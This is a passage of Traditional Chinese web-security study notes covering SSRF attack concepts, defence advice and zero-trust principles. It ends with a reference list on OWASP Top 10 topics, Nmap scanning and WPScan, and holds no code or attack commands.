- 系統就會 Reset Failed 次數 :arrow_right: 不會發出 Alert 給管理者
#### 防禦
- 確保上面的事情不會發生
### Server-Side Request Forgery(SSRF) 伺服端請求偽造
- 必須先收集部分資訊 (例如:內部使用的 API)才能達成攻擊
- 攻擊目標:內部受保護的 Server = 外網無法訪問的內部系統
- 原理

> [圖片來源](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%B6%B2%E7%AB%99%E5%AE%89%E5%85%A8-%E4%BC%BA%E6%9C%8D%E5%99%A8%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0-ssrf-%E6%94%BB%E6%93%8A-%E9%A0%85%E8%8E%8A%E8%88%9E%E5%8A%8D-%E6%84%8F%E5%9C%A8%E6%B2%9B%E5%85%AC-7a5524926362)
- 利用存在缺陷的中介 Server 作為代理,攻擊遠端的內部 Server
- 操作中介 Server 端從指定 URL 獲取網頁文字
- 載入指定地址的圖片,利用的是中介 Server 端的請求偽造
- 攻擊方式:
- 目錄遍歷(Path/Directory Traversal)攻擊手法
- 對外網所在的內網、Local 進行 Port 掃描,獲取一些服務的資訊
- 攻擊執行在內網或 Local 的應用程式
- 讀取本地檔案等等
- [lab](https://0xn3va.gitbook.io/cheat-sheets/web-application/server-side-request-forgery)
#### 防禦建議
- 限定內網訪問:針對內部伺服器的資料讀取進行權限的設定,必要時加上 Token
- 注意後端伺服器使用第三方 API 的權限,若沒有適當設定權限,當「偽造請求」穿透到內網的時候,可能會存取到機密資訊
- 避免目錄遍歷漏洞,減少「偽造請求」往後傳送的機會
- 根據零信任原則,任何有參數的地方都要進行驗證
:::info
**零信任原則**
- 不要相信任何未知的東西,並預設攻擊者無所不在
> 實際運作上,會提供一定程度的信任以維持運作的可用性及便利性
- 任何想要連線的人或裝置都需要通過一系列的驗證 & 檢視,通過這些驗證 & 檢視後才給予他想要的權限
- 驗證
- 須不斷重複進行,而非僅在用戶進入時驗證一次就好
- 身分:確保網路另一端的人真的是他宣稱的人,e.g. 帳號密碼 + MFA
- 裝置:確保使用者使用的是安全的裝置,e.g. 裝置運行的作業系統版本、是否安裝足夠的安全性更新、是否安裝指定防毒軟體、是否開啟硬碟加密、TPM、裝置/IP 所在位置是否在尋常地點...
- 權限:通過身分驗證後的該名用戶將擁有讀取哪些系統及內容的權限(最小權限原則,Least Privilege)
- 紀錄用戶的行為
- 監測/發現用戶的異常動作
:::
## 資料來源
- 資訊安全
- [【資訊安全防護】面對5大資安威脅,該如何進行資安防護措施?](https://www.easpnet.com/blog/top-five-security-threats/#a4)
- Nmap
- [TCP SYN (Stealth) Scan (-sS)](https://nmap.org/book/synscan.html#scan-methods-ex-syn-scan)
- [TCP Connect Scan](https://nmap.org/book/scan-methods-connect-scan.html)
- [UDP Scan (-sU)](https://nmap.org/book/scan-methods-udp-scan.html)
- [淺談埠掃描技術](https://www.gushiciku.cn/pl/2Xbl/zh-tw)
- [網路掃描 —利用TCP](https://medium.com/%E7%92%BF%E7%9A%84%E7%AD%86%E8%A8%98%E6%9C%AC/%E7%B6%B2%E8%B7%AF%E6%8E%83%E6%8F%8F-%E5%88%A9%E7%94%A8tcp-ad399308aae)
- WPScan
- [Wordpress 最常見的安全性問題](https://kamadiam.com/wordpress-common-security-problem/)
- [WPScan 深入教學](https://www.itread01.com/hkyxlhk.html)
- [TimThumb 簡史](https://www.binarymoon.co.uk/2009/07/a-brief-history-of-timthumb/)
- OWASP Top 10
- [OWASP Top 10 介紹](https://owasp.org/www-project-top-ten/)
- Broken Access Control
- [2017 Broken Access Control](https://ithelp.ithome.com.tw/articles/10219428)
- [2021 Broken Access Control](https://www.synack.com/blog/preventing-broken-access-control-the-no-1-vulnerability-in-the-owasp-top-10-2021/)
- [防禦](https://owasp.org/Top10/A01_2021-Broken_Access_Control/#how-to-prevent)
- [Brute Force vs Dictionary Attack](https://www.rapid7.com/fundamentals/brute-force-and-dictionary-attacks/)
- [HackerCat 密碼暴力破解](https://hackercat.org/ithelp/ithelp-2019-day12-hydra)
- Cryptographics Failure
- [Cryptographic Failure](https://medium.com/@shivam_bathla/a02-2021-cryptographic-failures-d3bee4fd1494)
- Injection
- [什麼是 Injection](https://tech-blog.cymetrics.io/posts/jo/zerobased-injectionattack/)
- [SQL Injection Example](https://blog.kennycoder.io/2020/01/09/SQL-injection-%E5%8E%9F%E7%90%86%E4%BB%8B%E7%B4%B9%E8%88%87%E9%98%B2%E7%AF%84%E6%95%99%E5%AD%B8-%E5%B7%A5%E7%A8%8B%E5%B8%AB%E7%B5%95%E4%B8%8D%E8%83%BD%E7%8A%AF%E7%9A%84%E4%BD%8E%E7%B4%9A%E9%8C%AF%E8%AA%A4/)
- [Command Injection(有小小 Lab)](https://portswigger.net/web-security/os-command-injection)
- [Command Injection 2](https://www.imperva.com/learn/application-security/command-injection/)
- [Command Injection Prevention - Don’t Run System Commands with User-Supplied Input](https://brightsec.com/blog/os-command-injection/)
- [How to prevent command injection](https://affinity-it-security.com/how-to-prevent-command-injection/)
- Insecure Design
- [Insecure Design 不安全設計](https://gupta-bless.medium.com/insecure-design-vulnerabilities-what-are-they-and-why-they-occurs-3a56ae080ca4)
- Security Misconfiguration
- [Security Misconfiguration 安全設定缺陷](https://hdivsecurity.com/owasp-security-misconfiguration)
- [Security Misconfiguration By Bright(包含實例)](https://brightsec.com/blog/misconfiguration-attacks/)
- [Common Nginx Misconfiguration](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
- [Git Security](https://securestack.com/how-to-secure-git/)
- Vulnerable and Outdated Components
- [What is CVE](https://www.redhat.com/en/topics/security/what-is-cve)
- [Log4Shell](https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9631)
- [Log4j 是什麼](https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/)
- [使用第三方套件應注意事項](https://devco.re/blog/2014/03/14/3rd-party-software-security-issues/)
- [What is RCE](https://www.wallarm.com/what/the-concept-of-rce-remote-code-execution-attack)
- Identification and Authentication Failures
- [Identification and Authentication Failures]((https://medium.com/@shivam_bathla/a07-2021-identification-and-authentication-failures-b585c856eb24))
- [Session Token in URL Vulnerability](https://www.acunetix.com/blog/web-security-zone/session-token-in-url-vulnerability/)
- [Credential Stuff](https://auth0.com/blog/what-is-credential-stuffing/)
- Software and Data Integrity Failures
- Security Logging and Monitoring Failures
- [Security Logging and Monitoring Failures 資安記錄及監控失效](https://medium.com/@shivam_bathla/a09-2021-security-logging-and-monitoring-failures-88c1c349f5a6)
- [Log Injection](https://medium.com/@shatabda/security-log-injection-what-how-a510cfc0f73b)
- Server-Side Request Forgery
- [SSRF 攻擊](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%B6%B2%E7%AB%99%E5%AE%89%E5%85%A8-%E4%BC%BA%E6%9C%8D%E5%99%A8%E8%AB%8B%E6%B1%82%E5%81%BD%E9%80%A0-ssrf-%E6%94%BB%E6%93%8A-%E9%A0%85%E8%8E%8A%E8%88%9E%E5%8A%8D-%E6%84%8F%E5%9C%A8%E6%B2%9B%E5%85%AC-7a5524926362)
- [IThome SSRF](https://ithelp.ithome.com.tw/articles/10242449)
- [目錄遍歷](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7-path-traversal-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95-238218d5115d)